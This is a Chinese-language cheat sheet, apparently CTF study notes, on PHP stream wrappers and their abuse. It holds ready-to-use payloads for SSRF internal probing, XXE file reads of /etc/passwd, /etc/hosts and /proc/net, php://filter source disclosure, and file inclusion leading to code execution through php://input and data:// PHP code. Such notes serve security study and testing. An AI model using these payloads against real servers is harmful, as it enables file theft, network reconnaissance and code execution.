PHP 中的封装协议(伪协议)
file:///var/www/html 访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs
data:// 数据流
http:// — 访问 HTTP(s) URLs
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流
zlib:// — 压缩流
data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 处理交互式的流
SSRF下的伪协议
SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简而言之就是以服务器的身份来执行请求。
file:// 协议
用于访问本地文件系统。
file:///etc/passwd
file:///var/www/html/flag.php
http/s协议
探测内网主机存活
以此为例
?url=http://127.0.0.1
XXE下的伪协议
任意文件读取
file:协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
php://协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<c>&test</c>
内网探测
http://
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
file协议
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/hosts">
]>
<user><username>&b;</username><password>admin</password></user>
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
文件包含下的伪协议
file://
本地文件传输协议,File协议主要用于访问本地计算机中的文件
file:///etc/passwd
php://input
php://input是个可以访问请求的原始数据的只读流
allow_url_include = On。
对 allow_url_fopen 不做要求。
file=php://input
用post方式提交数据
filter:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用
例:
php://filter/read=convert.base64-encode/resource=flag.php以base64编码将内容输出
zip
php 版本大于等于 php5.3.0
若是使用相对路径,则会包含失败。
协议原型:
zip://archive.zip(压缩包名称)#dir/file.txt(压缩文件名称)
注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突(%23)
file=zip://绝对路径/压缩包名字%23压缩文件名字
data
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,base64编码的payload
phar
phar:// 数据流包装器。 可以将多个文件归入一个本地文件夹,也可以包含一个文件
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如
data://
,zlib://
或php://
。